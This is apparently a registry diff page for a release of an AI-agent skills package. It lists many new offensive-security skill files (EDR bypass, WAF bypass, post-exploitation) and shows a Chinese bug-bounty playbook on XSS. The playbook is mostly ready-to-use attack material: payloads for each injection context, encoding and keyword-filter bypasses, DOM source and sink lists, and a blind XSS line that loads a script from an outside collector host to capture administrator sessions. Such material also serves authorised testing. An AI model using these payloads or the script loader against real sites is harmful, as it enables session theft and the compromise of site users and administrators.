opencode-skills-collection 4.0.43 → 4.0.44

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (270) hide show
  1. package/bundled-skills/.antigravity-install-manifest.json +47 -1
  2. package/bundled-skills/api-rate-limit-handler/SKILL.md +282 -0
  3. package/bundled-skills/api-security/SKILL.md +205 -0
  4. package/bundled-skills/api-security/references/jwt-oauth-testing.md +123 -0
  5. package/bundled-skills/api-security/references/rest-graphql-testing.md +137 -0
  6. package/bundled-skills/apk-reverse/SKILL.md +438 -0
  7. package/bundled-skills/apk-reverse/references/android-advanced.md +365 -0
  8. package/bundled-skills/apk-reverse/references/apk-security-checklist.md +230 -0
  9. package/bundled-skills/apk-reverse/references/frida-bypass-kit.md +70 -0
  10. package/bundled-skills/apk-reverse/references/frida-cookbook.md +472 -0
  11. package/bundled-skills/attack-chain/SKILL.md +185 -0
  12. package/bundled-skills/attack-chain/references/attack-playbooks.md +126 -0
  13. package/bundled-skills/attack-chain/references/evasion-cheatsheet.md +133 -0
  14. package/bundled-skills/attack-chain/references/lifecycle-checklist.md +37 -0
  15. package/bundled-skills/attack-chain/references/phases.md +490 -0
  16. package/bundled-skills/binary-diff/SKILL.md +320 -0
  17. package/bundled-skills/binary-diff/references/prompt-template.md +173 -0
  18. package/bundled-skills/browser-extension-reverse/SKILL.md +99 -0
  19. package/bundled-skills/browser-extension-reverse/references/extension-analysis.md +10 -0
  20. package/bundled-skills/case-review/SKILL.md +167 -0
  21. package/bundled-skills/cloud-k8s/SKILL.md +124 -0
  22. package/bundled-skills/cloud-k8s/references/k8s-cloud-checklist.md +16 -0
  23. package/bundled-skills/code-audit/SKILL.md +92 -0
  24. package/bundled-skills/code-audit/references/sast-review-checklist.md +10 -0
  25. package/bundled-skills/database-security/SKILL.md +81 -0
  26. package/bundled-skills/database-security/references/db-misconfig-checklist.md +9 -0
  27. package/bundled-skills/diagram-generator/SKILL.md +199 -0
  28. package/bundled-skills/diagram-generator/references/README.md +3 -0
  29. package/bundled-skills/diagram-generator/references/diagram-patterns.md +254 -0
  30. package/bundled-skills/digital-forensics/SKILL.md +93 -0
  31. package/bundled-skills/digital-forensics/references/forensics-triage.md +10 -0
  32. package/bundled-skills/docs/integrations/jetski-cortex.md +3 -3
  33. package/bundled-skills/docs/integrations/jetski-gemini-loader/README.md +1 -1
  34. package/bundled-skills/docs/maintainers/repo-growth-seo.md +1 -1
  35. package/bundled-skills/docs/maintainers/skills-update-guide.md +1 -1
  36. package/bundled-skills/docs/sources/sources.md +9 -0
  37. package/bundled-skills/docs/users/aas-core.md +1 -1
  38. package/bundled-skills/docs/users/bundles.md +1 -1
  39. package/bundled-skills/docs/users/claude-code-skills.md +1 -1
  40. package/bundled-skills/docs/users/gemini-cli-skills.md +1 -1
  41. package/bundled-skills/docs/users/kiro-integration.md +1 -1
  42. package/bundled-skills/docs/users/usage.md +3 -3
  43. package/bundled-skills/docs/users/visual-guide.md +4 -4
  44. package/bundled-skills/docs-generator/SKILL.md +197 -0
  45. package/bundled-skills/docs-generator/references/security-report-templates.md +348 -0
  46. package/bundled-skills/docs-generator/references/templates.md +102 -0
  47. package/bundled-skills/docs-generator/references/vendor-report-rules.md +263 -0
  48. package/bundled-skills/dotnet-reverse/SKILL.md +197 -0
  49. package/bundled-skills/dotnet-reverse/references/common-workflow.md +171 -0
  50. package/bundled-skills/dotnet-reverse/references/obfuscators.md +145 -0
  51. package/bundled-skills/dotnet-reverse/references/sharp-tools.md +164 -0
  52. package/bundled-skills/edr-bypass-re/SKILL.md +248 -0
  53. package/bundled-skills/edr-bypass-re/references/hook-survey.md +226 -0
  54. package/bundled-skills/edr-bypass-re/references/telemetry-blinding.md +346 -0
  55. package/bundled-skills/edr-bypass-re/references/unhook-techniques.md +338 -0
  56. package/bundled-skills/email-security/SKILL.md +81 -0
  57. package/bundled-skills/email-security/references/email-auth-checklist.md +8 -0
  58. package/bundled-skills/firmware-pentest/SKILL.md +381 -0
  59. package/bundled-skills/firmware-pentest/references/emba-automated-analysis.md +192 -0
  60. package/bundled-skills/firmware-pentest/references/emulation-and-fuzz.md +337 -0
  61. package/bundled-skills/firmware-pentest/references/extraction-methodology.md +285 -0
  62. package/bundled-skills/ghidra-reverse/SKILL.md +98 -0
  63. package/bundled-skills/ghidra-reverse/references/ghidra-cheatsheet.md +12 -0
  64. package/bundled-skills/go-rust-reverse/SKILL.md +82 -0
  65. package/bundled-skills/go-rust-reverse/references/go-rust-notes.md +5 -0
  66. package/bundled-skills/hardware-security/SKILL.md +80 -0
  67. package/bundled-skills/hardware-security/references/debug-interface-triage.md +7 -0
  68. package/bundled-skills/ida-reverse/SKILL.md +401 -0
  69. package/bundled-skills/ida-reverse/references/LOCAL-SETUP.md +66 -0
  70. package/bundled-skills/ida-reverse/references/ida-mcp-cheatsheet.md +515 -0
  71. package/bundled-skills/identity-federation/SKILL.md +81 -0
  72. package/bundled-skills/identity-federation/references/sso-flow-checklist.md +9 -0
  73. package/bundled-skills/instructree/SKILL.md +94 -0
  74. package/bundled-skills/js-reverse/SKILL.md +239 -0
  75. package/bundled-skills/js-reverse/references/ast-deobfuscation.md +3 -0
  76. package/bundled-skills/js-reverse/references/automation-entry.md +12 -0
  77. package/bundled-skills/js-reverse/references/env-patching.md +6 -0
  78. package/bundled-skills/js-reverse/references/fallbacks.md +8 -0
  79. package/bundled-skills/js-reverse/references/instrumentation.md +9 -0
  80. package/bundled-skills/js-reverse/references/local-rebuild.md +11 -0
  81. package/bundled-skills/js-reverse/references/mcp-task-template.md +30 -0
  82. package/bundled-skills/js-reverse/references/node-env-rebuild.md +9 -0
  83. package/bundled-skills/js-reverse/references/output-contract.md +9 -0
  84. package/bundled-skills/js-reverse/references/task-artifacts.md +11 -0
  85. package/bundled-skills/js-reverse/references/task-input-template.md +11 -0
  86. package/bundled-skills/js-reverse/references/tool-defaults.md +7 -0
  87. package/bundled-skills/llm-security/SKILL.md +160 -0
  88. package/bundled-skills/llm-security/references/agent-obedience-engineering.md +243 -0
  89. package/bundled-skills/llm-security/references/agent-security-testing.md +116 -0
  90. package/bundled-skills/llm-security/references/owasp-llm-top10.md +48 -0
  91. package/bundled-skills/llm-security/references/prompt-injection-methodology.md +107 -0
  92. package/bundled-skills/loki-mode/examples/todo-app-generated/backend/package-lock.json +4 -4
  93. package/bundled-skills/loki-mode/examples/todo-app-generated/backend/package.json +1 -1
  94. package/bundled-skills/macos-reverse/SKILL.md +85 -0
  95. package/bundled-skills/macos-reverse/references/macho-triage.md +10 -0
  96. package/bundled-skills/malware-analysis/SKILL.md +311 -0
  97. package/bundled-skills/malware-analysis/references/anti-analysis-techniques.md +205 -0
  98. package/bundled-skills/malware-analysis/references/sandbox-orchestration.md +204 -0
  99. package/bundled-skills/malware-analysis/references/yara-sigma-rules.md +232 -0
  100. package/bundled-skills/mobile-reverse/SKILL.md +222 -0
  101. package/bundled-skills/mobile-reverse/references/anti-detection-bypass.md +182 -0
  102. package/bundled-skills/mobile-reverse/references/frida-objection-deep.md +218 -0
  103. package/bundled-skills/mobile-reverse/references/ios-reverse-guide.md +177 -0
  104. package/bundled-skills/muapi-media/SKILL.md +311 -0
  105. package/bundled-skills/ot-ics/SKILL.md +117 -0
  106. package/bundled-skills/ot-ics/references/ot-safe-assessment.md +10 -0
  107. package/bundled-skills/patch-diff-exploit/SKILL.md +278 -0
  108. package/bundled-skills/patch-diff-exploit/references/diff-tools-comparison.md +271 -0
  109. package/bundled-skills/patch-diff-exploit/references/patch-tuesday-workflow.md +253 -0
  110. package/bundled-skills/patch-diff-exploit/references/root-cause-and-poc.md +198 -0
  111. package/bundled-skills/pentest-tools/SKILL.md +346 -0
  112. package/bundled-skills/pentest-tools/references/ai-pentest-agents.md +148 -0
  113. package/bundled-skills/pentest-tools/references/ai-pentesting-landscape-2026.md +73 -0
  114. package/bundled-skills/pentest-tools/references/automation-loop-pattern.md +153 -0
  115. package/bundled-skills/pentest-tools/references/awesome-pentest-digest.md +175 -0
  116. package/bundled-skills/pentest-tools/references/burpsuite-mcp-guide.md +769 -0
  117. package/bundled-skills/pentest-tools/references/client-side-lab-playbook.md +155 -0
  118. package/bundled-skills/pentest-tools/references/kali-mcp-ecosystem.md +119 -0
  119. package/bundled-skills/pentest-tools/references/msf-protocol.md +169 -0
  120. package/bundled-skills/pentest-tools/references/network-attack-defense.md +350 -0
  121. package/bundled-skills/pentest-tools/references/nuclei-guide-2026.md +157 -0
  122. package/bundled-skills/pentest-tools/references/payloads.md +32 -0
  123. package/bundled-skills/pentest-tools/references/pentest-ai-agents-matrix.md +117 -0
  124. package/bundled-skills/pentest-tools/references/pentest-loop.md +270 -0
  125. package/bundled-skills/pentest-tools/references/recon-pipeline.md +154 -0
  126. package/bundled-skills/pentest-tools/references/templates/findings.md +21 -0
  127. package/bundled-skills/pentest-tools/references/templates/progress.md +17 -0
  128. package/bundled-skills/pentest-tools/references/templates/rules.md +35 -0
  129. package/bundled-skills/pentest-tools/references/templates/scope.md +29 -0
  130. package/bundled-skills/pentest-tools/references/templates/task_plan.md +27 -0
  131. package/bundled-skills/pentest-tools/references/web-attack-cheatsheet.md +387 -0
  132. package/bundled-skills/pentest-tools/src-hunter/SKILL.md +243 -0
  133. package/bundled-skills/pentest-tools/src-hunter/references/README.en.md +115 -0
  134. package/bundled-skills/pentest-tools/src-hunter/references/README.md +148 -0
  135. package/bundled-skills/pentest-tools/src-hunter/references/dictionaries/00-index.md +44 -0
  136. package/bundled-skills/pentest-tools/src-hunter/references/dictionaries/chinese-srcfingerprints.md +515 -0
  137. package/bundled-skills/pentest-tools/src-hunter/references/dictionaries/default-credentials-cn.md +274 -0
  138. package/bundled-skills/pentest-tools/src-hunter/references/industry/00-index.md +66 -0
  139. package/bundled-skills/pentest-tools/src-hunter/references/industry/banking-finance.md +338 -0
  140. package/bundled-skills/pentest-tools/src-hunter/references/industry/telecom-isp.md +315 -0
  141. package/bundled-skills/pentest-tools/src-hunter/references/methodology/00-index.md +68 -0
  142. package/bundled-skills/pentest-tools/src-hunter/references/methodology/01-attack-priority.md +143 -0
  143. package/bundled-skills/pentest-tools/src-hunter/references/methodology/02-bypass-toolkit.md +357 -0
  144. package/bundled-skills/pentest-tools/src-hunter/references/methodology/03-evidence-discipline.md +205 -0
  145. package/bundled-skills/pentest-tools/src-hunter/references/methodology/04-control-gap-hunting.md +238 -0
  146. package/bundled-skills/pentest-tools/src-hunter/references/methodology/05-srctimebox-priority.md +161 -0
  147. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet/adcs/346/224/273/345/207/273.md +254 -0
  148. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet/exchange/346/224/273/345/207/273.md +254 -0
  149. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet/sharepoint/346/224/273/345/207/273.md +113 -0
  150. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//344/277/241/346/201/257/346/224/266/351/233/206.md +947 -0
  151. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//345/205/215/346/235/200/344/270/216/350/247/204/351/201/277.md +780 -0
  152. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//345/207/255/350/257/201/347/252/203/345/217/226.md +1259 -0
  153. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//345/237/237/346/270/227/351/200/217/346/224/273/345/207/273.md +753 -0
  154. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//346/235/203/351/231/220/346/217/220/345/215/207.md +819 -0
  155. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//346/235/203/351/231/220/347/273/264/346/214/201.md +577 -0
  156. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//346/250/252/345/220/221/347/247/273/345/212/250.md +838 -0
  157. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//351/232/247/351/201/223/344/273/243/347/220/206.md +604 -0
  158. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/ai/345/256/211/345/205/250.md +698 -0
  159. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/api/345/256/211/345/205/250.md +1935 -0
  160. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/csrf/350/267/250/347/253/231/350/257/267/346/261/202/344/274/252/351/200/240.md +952 -0
  161. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/jwt/345/256/211/345/205/250.md +496 -0
  162. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/lfi-rfi/346/226/207/344/273/266/345/214/205/345/220/253.md +1365 -0
  163. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/rce/350/277/234/347/250/213/344/273/243/347/240/201/346/211/247/350/241/214.md +1329 -0
  164. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/sql-nosql/346/263/250/345/205/245.md +1924 -0
  165. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/ssrf/346/234/215/345/212/241/347/253/257/350/257/267/346/261/202/344/274/252/351/200/240.md +1256 -0
  166. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/ssti/346/250/241/346/235/277/346/263/250/345/205/245.md +1151 -0
  167. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/websocket/345/256/211/345/205/250.md +487 -0
  168. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/xss/350/267/250/347/253/231/350/204/232/346/234/254.md +1465 -0
  169. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/xxe/345/256/236/344/275/223/346/263/250/345/205/245.md +815 -0
  170. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//344/270/232/345/212/241/351/200/273/350/276/221/346/274/217/346/264/236.md +594 -0
  171. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//344/272/221/345/256/211/345/205/250/346/274/217/346/264/236.md +561 -0
  172. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//344/276/233/345/272/224/351/223/276/346/224/273/345/207/273.md +399 -0
  173. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//345/216/237/345/236/213/351/223/276/346/261/241/346/237/223.md +401 -0
  174. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//345/274/200/346/224/276/351/207/215/345/256/232/345/220/221.md +396 -0
  175. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//346/226/207/344/273/266/346/274/217/346/264/236.md +0 -0
  176. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//346/241/206/346/236/266/346/274/217/346/264/236.md +2304 -0
  177. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//347/202/271/345/207/273/345/212/253/346/214/201.md +339 -0
  178. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//347/274/223/345/255/230/344/270/216cdn/345/256/211/345/205/250.md +497 -0
  179. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//350/256/244/350/257/201/346/274/217/346/264/236.md +1778 -0
  180. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//350/257/267/346/261/202/350/265/260/347/247/201.md +854 -0
  181. package/bundled-skills/pentest-tools/src-hunter/references/payloader/index.md +69 -0
  182. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools/web/346/270/227/351/200/217.md +662 -0
  183. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools/windows/346/270/227/351/200/217.md +100 -0
  184. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//344/277/241/346/201/257/346/224/266/351/233/206.md +852 -0
  185. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//345/206/205/347/275/221/346/270/227/351/200/217.md +873 -0
  186. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//345/207/255/350/257/201/347/252/203/345/217/226.md +186 -0
  187. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//345/237/237/346/270/227/351/200/217.md +50 -0
  188. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//345/257/206/347/240/201/346/224/273/345/207/273.md +462 -0
  189. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//346/235/203/351/231/220/346/217/220/345/215/207.md +168 -0
  190. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//346/274/217/346/264/236/345/210/251/347/224/250.md +445 -0
  191. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//347/263/273/347/273/237/345/221/275/344/273/244.md +410 -0
  192. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//347/272/242/351/230/237/345/267/245/345/205/267.md +64 -0
  193. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//347/274/226/347/240/201/350/247/243/347/240/201.md +226 -0
  194. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//351/232/247/351/201/223/344/273/243/347/220/206.md +84 -0
  195. package/bundled-skills/pentest-tools/src-hunter/references/payloader/waf-bypass.md +6504 -0
  196. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/00-index.md +57 -0
  197. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/api-rest.md +2050 -0
  198. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/arbitrary-x-authz.md +481 -0
  199. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/dos.md +615 -0
  200. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/file-upload.md +1365 -0
  201. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/graphql.md +253 -0
  202. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/http-smuggling.md +924 -0
  203. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/info-disclosure.md +432 -0
  204. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/intranet-postexp.md +4845 -0
  205. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/llm-prompt-injection.md +1394 -0
  206. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/logic-flaws.md +1796 -0
  207. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/mobile.md +397 -0
  208. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/oauth-saml-jwt.md +2504 -0
  209. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/path-traversal.md +1297 -0
  210. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/race-conditions.md +207 -0
  211. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/rce.md +4829 -0
  212. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/sqli.md +1620 -0
  213. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/ssrf-cache-host.md +2098 -0
  214. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/unauth-access.md +330 -0
  215. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/xss.md +1159 -0
  216. package/bundled-skills/pentest-tools/src-hunter/references/templates/report-submission.md +346 -0
  217. package/bundled-skills/pentest-tools/src-hunter/references/tools/mcp-jshook.md +174 -0
  218. package/bundled-skills/protocol-reverse/SKILL.md +108 -0
  219. package/bundled-skills/protocol-reverse/references/protocol-workflow.md +29 -0
  220. package/bundled-skills/pwn-chain/SKILL.md +209 -0
  221. package/bundled-skills/pwn-chain/references/heap-pwn.md +283 -0
  222. package/bundled-skills/pwn-chain/references/kernel-pwn.md +370 -0
  223. package/bundled-skills/pwn-chain/references/stack-pwn.md +312 -0
  224. package/bundled-skills/radare2/SKILL.md +460 -0
  225. package/bundled-skills/radare2/references/cheatsheet.md +129 -0
  226. package/bundled-skills/radio-sdr/SKILL.md +77 -0
  227. package/bundled-skills/radio-sdr/references/sdr-lab-rules.md +6 -0
  228. package/bundled-skills/reverse-browser-automation/SKILL.md +249 -0
  229. package/bundled-skills/reverse-browser-automation/references/playwright-cheatsheet.md +425 -0
  230. package/bundled-skills/reverse-engineering/SKILL.md +213 -0
  231. package/bundled-skills/reverse-engineering/dsl-vm-reverse/SKILL.md +388 -0
  232. package/bundled-skills/reverse-engineering/references/ai-assisted-re.md +149 -0
  233. package/bundled-skills/reverse-engineering/references/anti-analysis.md +836 -0
  234. package/bundled-skills/reverse-engineering/references/awesome-re-resources.md +135 -0
  235. package/bundled-skills/reverse-engineering/references/crypto-decode-tools.md +220 -0
  236. package/bundled-skills/reverse-engineering/references/elf-analysis.md +296 -0
  237. package/bundled-skills/reverse-engineering/references/field-notes.md +540 -0
  238. package/bundled-skills/reverse-engineering/references/go-reverse.md +240 -0
  239. package/bundled-skills/reverse-engineering/references/kernel-driver-reverse.md +298 -0
  240. package/bundled-skills/reverse-engineering/references/languages-compiled.md +587 -0
  241. package/bundled-skills/reverse-engineering/references/languages-platforms.md +486 -0
  242. package/bundled-skills/reverse-engineering/references/languages.md +499 -0
  243. package/bundled-skills/reverse-engineering/references/nonpe-format-cookbook.md +301 -0
  244. package/bundled-skills/reverse-engineering/references/ollvm-deobfuscation.md +501 -0
  245. package/bundled-skills/reverse-engineering/references/patterns-ctf-2.md +397 -0
  246. package/bundled-skills/reverse-engineering/references/patterns-ctf-3.md +719 -0
  247. package/bundled-skills/reverse-engineering/references/patterns-ctf.md +532 -0
  248. package/bundled-skills/reverse-engineering/references/patterns.md +801 -0
  249. package/bundled-skills/reverse-engineering/references/platforms-hardware.md +304 -0
  250. package/bundled-skills/reverse-engineering/references/platforms.md +442 -0
  251. package/bundled-skills/reverse-engineering/references/re-agent-workflow.md +240 -0
  252. package/bundled-skills/reverse-engineering/references/tools-advanced.md +822 -0
  253. package/bundled-skills/reverse-engineering/references/tools-dynamic.md +846 -0
  254. package/bundled-skills/reverse-engineering/references/tools.md +546 -0
  255. package/bundled-skills/supply-chain-security/SKILL.md +180 -0
  256. package/bundled-skills/supply-chain-security/references/cicd-pipeline-security.md +137 -0
  257. package/bundled-skills/supply-chain-security/references/sbom-sca-methodology.md +74 -0
  258. package/bundled-skills/thick-client/SKILL.md +104 -0
  259. package/bundled-skills/thick-client/references/thick-client-checklist.md +9 -0
  260. package/bundled-skills/threat-hunting/SKILL.md +94 -0
  261. package/bundled-skills/threat-hunting/references/hunting-loop.md +5 -0
  262. package/bundled-skills/threat-intelligence/SKILL.md +176 -0
  263. package/bundled-skills/threat-intelligence/references/x-public-intelligence.md +93 -0
  264. package/bundled-skills/tree-ring-memory/SKILL.md +29 -9
  265. package/bundled-skills/wifi-wireless/SKILL.md +80 -0
  266. package/bundled-skills/wifi-wireless/references/wireless-lab-rules.md +6 -0
  267. package/bundled-skills/windows-ad/SKILL.md +109 -0
  268. package/bundled-skills/windows-ad/references/ad-attack-paths.md +12 -0
  269. package/package.json +1 -1
  270. package/skills_index.json +1214 -2
@@ -0,0 +1,1159 @@
1
+ # XSS
2
+
3
+ > 视角:黑盒,目标是让脚本在受害者浏览器执行
4
+
5
+ ## 1. 一句话说清
6
+
7
+ XSS = 把用户输入当代码执行(HTML/JS)。
8
+ - **存储型**:input 进 DB,访客触发——价值最高(盲打管理员)。
9
+ - **反射型**:input 在 URL 立即回显——价值最低,多数平台不收。
10
+ - **DOM**:纯客户端,不经服务端——常被遗漏。
11
+ - **mXSS**:序列化/反序列化时浏览器解析差异。
12
+
13
+ SRC 价值:管理后台 stored XSS = P1($300–$3k);普通 reflected = P3 / 拒收。
14
+
15
+ ---
16
+
17
+ ## 2. 高频输出点(按 wooyun 案例)
18
+
19
+ | 输出点 | 触发 | 典型 |
20
+ |--------|------|------|
21
+ | 用户昵称 / 签名 | 页面加载 | 个人主页、评论 |
22
+ | 搜索回显 | 搜索 | 历史 / 结果页 |
23
+ | 评论 / 留言 | 展示 | 论坛、商品评价 |
24
+ | 文件名 / 描述 | 列表 | 网盘、相册 |
25
+ | 邮件正文 / 标题 | 打开 | 邮箱系统 |
26
+ | URL 参数回显 | 渲染 | 分享链接 |
27
+ | 订单备注 | 后台查看 | 电商工单 |
28
+ | API 回调参数 | JS 执行 | JSONP |
29
+
30
+ ### 易遗漏点
31
+
32
+ - **HTTP 头反射**:X-Forwarded-For → 日志后台、UA → 统计面板
33
+ - **Mobile/WAP 同步**:APP 写入 → Web 显示
34
+ - **二次渲染**:草稿箱 / 审核列表 / 后台
35
+ - **Source map / JSON 注入**:`/api/data?cb=alert(1)`
36
+
37
+ ---
38
+
39
+ ## 3. 探测手法
40
+
41
+ ### 3.1 上下文识别(先看落点)
42
+
43
+ | 上下文 | 闭合 | 探针 |
44
+ |--------|------|------|
45
+ | HTML 标签内 | `<` | `<svg onload=alert(1)>` |
46
+ | 属性 | 引号 | `" autofocus onfocus=alert(1) "` |
47
+ | URL 属性 | 协议 | `javascript:alert(1)` |
48
+ | JS 字符串 | 引号 | `";alert(1);//` |
49
+ | JS JSON | 引号 + 闭合 | `'-alert(1)-'`、`"};alert(1);//` |
50
+ | CSS(IE) | 函数 | `xss:expression(alert(1))` |
51
+
52
+ ### 3.2 Payload 库(按上下文)
53
+
54
+ #### HTML 标签内
55
+
56
+ ```html
57
+ <script>alert(1)</script>
58
+ <svg onload=alert(1)>
59
+ <svg/onload=alert(1)>
60
+ <img src=x onerror=alert(1)>
61
+ <img/src=x onerror=alert(1)>
62
+ <iframe src="javascript:alert(1)">
63
+ <input autofocus onfocus=alert(1)>
64
+ <select autofocus onfocus=alert(1)>
65
+ <textarea autofocus onfocus=alert(1)>
66
+ <details open ontoggle=alert(1)>
67
+ <marquee onstart=alert(1)>
68
+ <video><source onerror=alert(1)>
69
+ <audio src=x onerror=alert(1)>
70
+ <body onload=alert(1)>
71
+ <frameset onload=alert(1)>
72
+ ```
73
+
74
+ #### 属性内
75
+
76
+ ```
77
+ " onclick=alert(1) "
78
+ " onmouseover=alert(1) "
79
+ " onfocus=alert(1) autofocus="
80
+ "><script>alert(1)</script><"
81
+ '-alert(1)-'
82
+ \";alert(1);//
83
+ ```
84
+
85
+ #### JS 字符串
86
+
87
+ ```js
88
+ ';alert(1);//
89
+ '-alert(1)-'
90
+ \';alert(1);//
91
+ </script><script>alert(1)</script>
92
+ ```
93
+
94
+ #### URL
95
+
96
+ ```
97
+ javascript:alert(1)
98
+ data:text/html,<script>alert(1)</script>
99
+ data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==
100
+ ```
101
+
102
+ ### 3.3 编码绕过
103
+
104
+ | 编码 | 示例 |
105
+ |------|------|
106
+ | HTML 实体 | `&#60;script&#62;alert(1)&#60;/script&#62;` |
107
+ | 16 进制实体 | `&#x3c;script&#x3e;` |
108
+ | Unicode | `<iframe/onload=alert(1)>` |
109
+ | URL | `%3cscript%3ealert(1)%3c/script%3e` |
110
+ | 双重 URL | `%253cscript%253e` |
111
+ | Base64 in data | `data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==` |
112
+
113
+ ### 3.4 关键字 / 括号绕过
114
+
115
+ ```js
116
+ // alert 绕过
117
+ window['al'+'ert'](1)
118
+ self['al'+'ert'](1)
119
+ Function('alert(1)')()
120
+ eval('al'+'ert(1)')
121
+ [].constructor.constructor('alert(1)')()
122
+
123
+ // Unicode 关键字
124
+ alert(1)
125
+
126
+ // 括号绕过
127
+ alert`1` // 模板字符串
128
+ throw onerror=alert,1 // 异常 + 简写
129
+ location='javascript:alert(1)'
130
+
131
+ // String.fromCharCode
132
+ String.fromCharCode(97,108,101,114,116,40,49,41)
133
+
134
+ // btoa / atob
135
+ eval(atob('YWxlcnQoMSk='))
136
+ ```
137
+
138
+ ### 3.5 DOM XSS 危险源 / 汇
139
+
140
+ ```js
141
+ // 源(攻击者可控)
142
+ location.href / location.search / location.hash / location.pathname
143
+ document.URL / document.documentURI / document.referrer
144
+ window.name
145
+ document.cookie
146
+ postMessage data
147
+
148
+ // 汇(执行点)
149
+ eval() Function() setTimeout(string) setInterval(string)
150
+ innerHTML / outerHTML / insertAdjacentHTML
151
+ document.write / document.writeln
152
+ element.src / element.href
153
+ $('...') .html(...)
154
+ ```
155
+
156
+ 测试:
157
+ ```bash
158
+ # 改 location.hash
159
+ https://target/page.html#<img src=x onerror=alert(1)>
160
+
161
+ # 改 location.search
162
+ https://target/page.html?q=</script><script>alert(1)</script>
163
+
164
+ # 改 referrer
165
+ 访问 attacker.com → click → target.com(attacker.com 含 payload)
166
+
167
+ # postMessage(跨窗口)
168
+ parent.postMessage('<img src=x onerror=alert(1)>','*')
169
+ ```
170
+
171
+ 工具:浏览器 DevTools 断点 + Sources tab 跟踪。
172
+
173
+ ### 3.6 盲打 XSS(管理员触发)
174
+
175
+ ```html
176
+ <script src=https://your-xss-hunter.com/abc></script>
177
+ ```
178
+
179
+ 平台:
180
+ - **XSS Hunter Express**(自建)
181
+ - 自己的 OOB(webhook.site 简易但无 cookie 抓取)
182
+
183
+ 适用:
184
+ - 后台审核(用户昵称 / 留言 / 反馈)
185
+ - 工单系统
186
+ - 留言反馈
187
+
188
+ ---
189
+
190
+ ## 4. Bypass 矩阵
191
+
192
+ | 拦 | 绕 |
193
+ |---|---|
194
+ | 标签拦 `<script>` | `<svg>`、`<img>`、`<details>`、`<marquee>`、`<video>` |
195
+ | `script` 关键字 | `<scr<script>ipt>`(双写)、`<sCrIpT>`(大小写)、`<%73cript>`(编码) |
196
+ | `alert` 关键字 | `confirm` / `prompt` / `print` / `top.alert` / `Function('alert(1)')()` |
197
+ | 引号过滤 | 无引号属性:`<img src=x onerror=alert(1)>` |
198
+ | 长度限制 | 外部加载 `<script src=//xss.cc/j>` / 短链 |
199
+ | HTML5 sandbox | `<iframe srcdoc>` 内的 `<script>` |
200
+ | HTTPOnly Cookie | XSS 读不到,但仍能 CSRF / 钓鱼 / 改密码 |
201
